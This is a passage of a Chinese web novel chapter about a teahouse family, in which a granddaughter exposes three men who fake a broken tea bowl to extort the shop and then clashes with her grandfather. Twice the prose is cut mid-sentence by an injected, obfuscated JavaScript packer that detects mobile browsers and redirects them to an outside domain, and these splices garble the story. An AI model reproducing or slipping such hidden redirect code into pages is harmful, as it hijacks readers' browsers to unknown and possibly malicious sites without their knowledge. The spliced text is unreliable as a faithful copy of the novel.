晚上吃的红烧鸡,刚端上来,南乔宇就毫不客气地夹了个腿到碗里。扔了骨头,没吃过瘾,见另一个腿没人夹,他又将筷子伸了过去。宋霆将盘子往边上一推,他的筷子夹了空。 南老爷子说他:“就不能让让你妹妹?家里人怎么教你的?” “她就比我小两个月,还妹妹呢?我看她彪悍得想做我姐。”话虽这么说,他还是挪了筷子,夹起一旁的鸡胸肉。 南久将另一只鸡腿夹进碗里:“承让了,乖弟弟。” 南乔宇忿忿地将大米饭塞进嘴里。 ...... 周末那天,茶馆接连来了好几波游客。外来的游客看见什么都稀奇,南老爷子本着来者皆是客的待客之道,笑脸相迎。 周日晚饭时,南老爷子交代道:“明天不忙了,我去老秦家看看,他又要住院了。” 话是这么说,第二天一大早,茶馆内八张茶桌全部坐满,还有好几人坐在外头的竹椅上排队。南久不再窝在柜台里,她拿着手写的号码牌跑去门口发号码。 茶馆的老虎灶如今已成装饰,不过年轻人没见过老虎灶,来茶馆见着什么都要拍几张照。 南老爷子没去成老秦家,他一整天都被一群年轻人围着,像个吉祥物一样跟他们合照。 晚上关门后,南老爷子总算品出不对劲来。他对宋霆说:“这些人都是打哪找来的?” 宋霆拿出手机,点开后递给南老爷子。 南老爷子靠在躺椅上,手机里响起舒缓的古风纯音,镜头从帽儿巷的砖到叶,一路延伸至巷子深处。神秘的纵深感让人的视觉不自觉跟着镜头探索,直至停在那幅颇具年代感的牌匾上。镜头拉近、定格,一轮明日从牌匾的后方徐徐升起,刻有“帽儿茶馆”的牌匾在光的照耀下由暗转亮。 太阳升至高空再缓缓下落,朝去暮来、四季轮换,帽儿茶馆镌刻进历史的洪流中,被不同时期的光一层层洗礼,仍然是最初的模样,在镜头的凝视下,愈发清晰与厚重。 旋律变换,镜头不断推进,茶馆百态被框入小小的屏幕中。吱呀响着的竹椅,蒙着白雾的老虎灶,喷着水汽的铜壶......热闹的茶馆像浓缩的社会,掺杂着酸甜苦辣。镜头化作水流,流进盖碗中,与茶叶相融、旋转,茶香就这么隔着四方的屏幕萦绕在鼻息。 这是南久儿时的记忆,她用镜头刻录下茶馆的烟火传承。 视频的最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218851|180672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一段,镜头拉远,一个男人坐在悬窗边,他的背影宽厚却寂寥,瘦长的手指握着茶碗。悬窗外日头渐落,镜头再拉回来时,原本男人坐着的地方变成了一位老人,他枯瘦的手指反复摩挲着碗壁,生命中细碎的光阴随着镜头的暗淡一同流逝。 南老爷子盯着屏幕,目光逐渐浑浊,仿佛透过屏幕瞧见了自己匆忙的一生。他将手机递还给宋霆,阖上眼:“小久就要二十了,我还总把她当小孩看。” 宋霆笑了笑,收起手机。 南老爷子缓缓掀开眼皮,又瞧了眼站在门外头、不知道和谁打电话打得傻乐的南乔宇,长叹一声。 ...... 茶馆的手写账单会留存一段时间再销毁,南老爷子让南久把之前的账单整理出来。 一早上,茶客络绎不绝。有老茶客盯着柜台里的南久,问宋霆:“那是南老的孙女?都这么大了?” 宋霆回头瞧了她一眼。南久翘着腿坐在柜台里头翻账,橘色的挂脖背心勾勒出清晰的锁骨,肩线平直而流畅,皮肤泛着冷调,白金色侧编发蓬松地垂于肩头。 他目光稍作停留,便又收回:“是啊,大姑娘了。” 南老爷子路过柜台时,提了嘴:“你弄的那些东西我看了。” 南久听闻,扬起下巴:“怎么样?”她瞟了眼远处摸鱼的南乔宇,眼里弥漫出笑意,“考虑把茶馆给我继承吗?” 南老爷子拿眼斜她:“年龄不大,野心倒不小。”说完就走开了。 在翻看历史账单的过程中,南久发现喝宋霆泡的茶是要额外给钱的。她抽出账单问一旁的吴婶:“咱们茶馆还有这项服务?” 吴婶探头往账单上瞄了眼,回她:“宋店长是有高级证的。” 南久听笑了:“什么高级证?有多高级?” “就是泡茶的证,他是正儿八经去考过试的。” 南久明白过来:“高级茶艺师证书?” “对,好像是这个。不过他平时忙,除非熟人请他,或是招待人,一般情况下,他也没时间坐下来给人泡茶。” 南久将那张账单收了起来,笑道:“统共就这几人,他是店长,我爷爷是老板,吴婶你是什么职位?内务总管?” 吴婶摆着手说:“什么总管不总管的,我就是来打工的。”送了圈茶回来,吴婶擦擦手,拿南久打趣,“那你是什么干部?” 南久握着一堆单据,不假思索地回:“CFO啊,首席财务官。” 吴婶笑得开怀,她不懂这个官、那个官的,笑南久非要给自己安个官当。 南久瞥向南乔宇:“他只能当渔夫。” 吴婶没听明白:“为什么?” “只会摸鱼。” 吴婶和南久齐齐盯着南乔宇笑。南乔宇转过视线,对南久比了个中指。 中午过后,南老爷子见人流高峰过了,回房小憩一会儿。宋霆接到个电话,外出有事。为了防止他不在茶馆期间,俩小年轻又闹出什么幺蛾子,他把南乔宇叫走,跟他一起外出办事。 他们走了没一会儿,茶馆来了三个男人。这三人坐下后眼神到处瞄,又抬起头盯着茶馆房梁望了一圈。 吴婶拿茶单给他们。留着前刺的男人叫李玮,他叽里呱啦地对吴婶说外文,吴婶一脸茫然。南久坐在柜台里,抬起视线朝那边望了过去。随后,她走出柜台,顺势从吴婶手中接过茶单。 三人的目光落在南久身上,来回打量,暗自使了个眼色。 13.Chapter 13(入V通知) 南久无视那些令她不适的视线,用英文介绍茶单内容。 她在说话时,三人压根没认真听,低声说着什么。南久止住声音,站在茶桌边,等他们议论完。 三人见她不再说话,停止了交谈。李玮开口用英文询问她多少钱? 尽管李玮说着一口流利的英语,但他发音里惯用的口腔前部共鸣还是被南久的耳朵精准地捕捉到了。她扬起无懈可击的职业假笑:“既然都是中国人,那我也就没必要给你们翻译了。”她把茶单放在茶桌上,“看好了叫我。” 李玮索性不再装假洋人,出声问:“你在这干一个月能拿多少钱?” 南久下巴微扬,目光扫过几人。李玮的眼神毫不避讳地游走在南久的脖颈与锁骨间:“感不感兴趣换份工作?” 南久脸上的笑意不达眼底:“给我个换工作的理由。” 李玮指着茶馆内的陈设,手腕转了半圈:“这么时髦的姑娘待在个破茶馆,不如去高大上的地方。” “什么地方才叫高大上?”南久顺着他的话问道。 李玮笑而不答,拿出手机递给南久:“留个号码,回头联系。” 南久接过手机,输入一串号码后,将手机递还给李玮。李玮拿起手机扫了眼:“你号码这么短?” “是啊。”南久轻飘飘回了句,问道,“茶单看好了吗?” 李玮随手往茶单上一指。南久收掉茶单递给吴婶,走回柜台里。 隔了一会儿,吴婶的声音传进南久耳中:“都说了我给你换个茶碗。” 南久闻声抬起视线,李玮将茶碗摔在桌子上,嚷道:“这是换个茶碗的事儿吗?我嘴差点划出道口子,这就是你们处理事情的态度?” 他这一嗓子,其他桌的茶客纷纷瞧了过去。李玮顺势拿起破损的茶碗举到李婶面前:“我怎么知道你这只茶碗之前人喝的时候,有没有把嘴划破,要是别人有什么病,我不是成了倒霉蛋?” 李玮这话一出,原本端着茶的客人默不作声地放下茶碗。 南城上个礼拜刚报出一则新闻,某家饭店客人受伤后,血碰到餐具上,后因饭店餐具消毒不到位,被下一位客人使用。那位客人的嘴唇被碗口的裂缝划伤,当时没在意,回去后身体始终不适,去医院检查,HIV呈现阳性。 这则爆炸性的新闻导致南城餐饮业进行了为期一个月的大整顿。目前还在整顿期内,茶馆突然出现这个事情,茶客免不了心里膈应。 南久绕出柜台,径直朝那桌走去,从李玮手中拿过茶碗瞧了眼,转了视线移到他脸上:“你怎么确定这茶碗是在你来之前就坏的?” 李玮递给南久一个眼神,从她手中拿回那只碗的同时,拇指压在她的手背上,划拉了一下,意有所指地对她说:“你别插手。” 南久缩回手,顺势从纸巾盒里抽了张纸出来,擦拭手背:“那你想让谁来处理?” “让老板出来给个说法。” 南久将擦拭过的纸巾握成球,丢进垃圾桶内,抬起头睨着他:“老板是我爷爷,有什么事情跟我说。” 李玮的表情略显意外,三人面面相觑,交换了一下眼神。 南久没给他们商量的机会,紧接着道:“我们茶馆的茶具不可能有破损的情况。” “你的意思是,这个茶碗是我们弄坏的?我们来喝茶,好好的为什么要弄坏你们的茶具?”戴着串金刚的大强子说道。 “是啊,为什么呢?”南久不仅没顺着大强子的话说,反过来将问题抛了回去。 李玮接过话来:“你口口声声说是我们弄坏的,有什么证据?你是监控拍下来了,还是亲眼看到了?” 他单手搭在椅背上,一副气定神闲的样子,吃准茶馆里没有安装监控,无法提供任何证据。 南老爷子听见动静,从屋里走了出来。恰好听见李玮的话,将事情了解了个大概。他瞥见茶馆门口不少人探头看热闹,于是拄着拐杖走上前,说了几句场面话,提出给他们这桌免单,以此想将事情压下去。 南老爷子在跟几人交涉时,南久走出茶馆,在巷子里待了会儿。再返回茶馆时,恰好瞧见李玮将椅子一踢,带着身边两个兄弟站起身,丢下狠话:“我看你一把岁数了不跟你计较,你们这种卫生状况,还开什么茶馆?” 南老爷子面色沉了沉,拐杖戳在地面:“小地方经营这么多年,事情没少出,卫生问题倒是从来没有过,不劳三位费神,慢走不送。” 逐客令一下,李玮三人也不打算停留。他们刚转过身,南久横跨一步,挡在三人面前:“我爷爷虽然是茶馆老板,但我才是收账的,今天你们不仅得把茶钱付了,损坏的茶碗也得一并赔给我们。” 南老爷子瞪着眼睛,声音夹杂着老风箱般的嗡鸣:“小久!” 南久趁爷爷阻止前,率先说出口:“五分钟前我就报警了,再过五分钟警察估计就到了。” 她态度强硬,身体挡在茶馆门前逼视几人,眼中弥漫着寒霜,将三人蠢蠢欲动的脚步钉在原地。 李玮由怒转笑:“我看你们老板年纪大才不追究,你非要跟我掰扯,行啊,那我们就等警察来评评理。”李玮转身看向南老爷子,拿手指了指他,“丑话我可说在前头,警察来了要是断不了案,你们耽误了我的时间,就不止免单这么简单了。” 三人拉过椅子,大大咧咧地坐在茶馆大门处,一副谁也别想进的架势。 事情闹成这样,茶馆的生意自然是做不成了,有茶客陆续起身离开,剩下的茶客也不过是等个说法。 南老爷子走到南久跟前,拿眼瞪她:“你是嫌事情闹得还不够大?谁叫你报警的?” 关系到茶馆生意,南老爷子的怒气翻腾上来。南久不想当着这么多人的面,跟老爷子争执,只回了句:“反正已经报了。” 南老爷子气得甩袖转身,让吴婶去上热水,自己则拄着拐杖挨桌打招呼。吴婶面色凝重地跑前跑后,其他茶客已无心再品茶。 警察一登门,巷子里的人都围了出来。稍年轻的民警盯着坐在大门处的李玮几人:“是你们三个报的警?” “是我。”南久站在警察身后。她对那位年轻民警说,“麻烦跟我出来一下。” 年轻民警随南久走出茶馆,由另外一位年纪稍长的民警了解纠纷情况。李玮带头控诉帽儿茶馆店大欺客,其他两个兄弟跟着附和,说他们被店家种种刁难,还出声质疑帽儿茶馆存在严重的卫生问题,要求有关部门彻查。 根据近期市里对餐饮卫生不合格的处理方案,李玮的说辞一旦坐实,茶馆将面临高额罚款甚至停业整顿的风险。民警对此事颇为重视。 南老爷子自然是竭力维护茶馆的声誉,众人当着民警的面舌枪唇战。茶馆内外吵吵嚷嚷,直到南久跟年轻民警再次回到茶馆。 年轻民警将手机拿给另一位民警。年纪稍长的民警看过手机后,抬眼觑着李玮:“寻衅滋事知道是什么罪名吗?” 李玮眼神闪了下,回视民警:“我又没寻衅滋事。” 民警将手机反过来拿在手中,播放了一段监控。帽儿巷内装有几台老旧的监控,基本可以覆盖整条主巷。这些公共监控由公安部门负责日常维护,要想调出监控内容,只有报警。 视频中监控的位置离茶馆有段距离,不过还是依稀能瞧见坐在窗口的身影。 吴婶上完茶离开后,李玮端起茶喝了口,随手扣住茶碗,手伸到窗台上。他四下瞄了眼,将碗沿在窗台边敲了下。 李玮压根就没料想到一个破茶碗而已,这家茶馆会如此较真。在铁证如山的视频面前,李玮没了刚才的嚣张气焰,不过态度依然跋扈,对着南久道:“赔你们个茶碗不就得了。” 南久立在茶馆门口,提起音调:“这是赔个茶碗的事吗?你茶钱付了吗?先不说你耽误我们一大下午的生意,光是你平白诬陷我们卫生问题这事,就给我们茶馆的声誉造成了不小的损失。”南久目光一转,落向民警,“警察同志,老店名声最重要,他们这么搞,我们都不要吃饭了。” 南老爷子见南久试图将事情的影响力扩大,出声制止她继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229246|180672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续交涉,转而对李玮三人说:“你们把茶费和碗钱付了,人可以走了。” 南久心头的火蹭得窜上来。趁着民警在场,明明有谈判的空间,南老爷子却选择息事宁人。南久急得直挤眼,南老爷子却没正眼瞧她。 几人丢了钱,转身走出茶馆。拐过帽儿巷,李玮将手机拿出来,翻出刚才南久留的那串号码,越瞧越不对劲,转头对大强子说:“你搜下这号码?” 大强子拿出手机一搜,“靠”了声:“这是扫黄打非举报电话。” 李玮脸色逐渐变沉。 ...... 警察刚走,南老爷子便握着拐杖把手瞪向南久:“进来。” 走进后厨,南老爷子将拐杖重重挂在门把手上,眼窝深处蓄着无法撼动的力道:“照你这个脾气,轻易去得罪人,什么事情能做得长久?” “他们明显就不是来喝茶的,这样的人根本不指望能成为回头客,得罪了又怎么样?”南久斜在灶台边上,低头看着手指甲。 “能把问题降到最小,非要闹得人尽皆知?传出去,我们茶馆得理不饶人,这名声好听?” 南久放下手,抬起头直视南老爷子:“如果是正儿八经来喝茶的人,出现问题当然得解决。他们就不是正经人,凭什么我们得任人拿捏?服务业就活该给人当孙子?” “谁要你当孙子?”南老爷子声音陡然拔高,“你现在是翅膀长硬了,我的话你当耳旁风,说报警就报警,招呼也不打一声,眼里还有我这个爷爷吗?” 爷孙俩的争吵声从厨房里不断传来,吴婶子大气也不敢喘一下,默默收拾桌子上的茶具。 宋霆从外头回来,见茶馆早早打了烊,门口还有三三两两的人围着说话,进来便问吴婶:“出什么事了?” 吴婶将下午发生的事情一五一十告诉宋霆,南乔宇也凑过来听着。 “讷,还在吵呢!”吴婶瞥了眼厨房那头。 宋霆没吱声,提步往厨房走去。 南老爷子带着怒意的嗓音从厨房里传了出来:“送他们喝壶茶就能将人送走,一件小事,你闹得家喻户晓。你这个脾气,要吃大亏!” “我不觉得这是小事,他们还对我动手动脚,为什么要便宜他们?” “早就叫你不要穿个破布条在身上,漏胳膊漏腿的,哪里像正经姑娘?” 南久眼神晃了下,眼眶逐渐睁圆,直起身大步向前,瞪视的目光里藏着破碎的冰渣:“意思是......这是我的错?” 南老爷子这一辈子秉持着慈心应物经营茶馆,和气便也自生。他试图将这种理念传达给南久,然而费了半天口舌,她不仅冥顽不化,他说一句,她恨不得顶十句,此时更像只奓毛的猫,朝着他露出锋利的爪子。 南老爷子枯瘦的胸腔起伏间,拿起拐杖朝她抽去:“我看你是反了天了!” 一道身影闯入两人之间,宋霆伸出手臂,拐杖结结实实抽在他胳膊上,登时起了红痕。南老爷子神情顿住,拐杖没拿稳从手中掉落。南久双目猩红,转身冲出厨房。 宋霆弯腰捡起拐杖,递到南老爷子手中,又转身去找南久。 南久脚步带着气,鞋底撞击地面发出“噔噔”声。南乔宇勾着个头,站在过道往里探。南久路过他身边,毫不客气撞开他肩膀,往门外走。 宋霆大步流星跟了过去,挡在茶馆门口:“要去哪?” “要你管?”南久往左迈一步,宋霆身子往左斜。南久往右,宋霆的身躯再次偏向右边,结实地挡在她身前。 南久攥紧拳头,抬眼瞪着他,眼里的光聚拢成灼人的火苗,无声地燃烧着。巷子里的风吹起飘零的落叶,太阳缓慢落下屋檐。 一丝似有还无的弧度掠过他的唇角:“怎么?还想对我撒泼?” 南久到底没有像从前一样,将气撒在宋霆身上。她身体里依然装着不肯低头的倔劲儿,不同的是,岁月教会了她,如何将这锋利的刀刃收进刀鞘中。 宋霆回身将茶馆的门关上,转过身对南久说:“你跟我来。”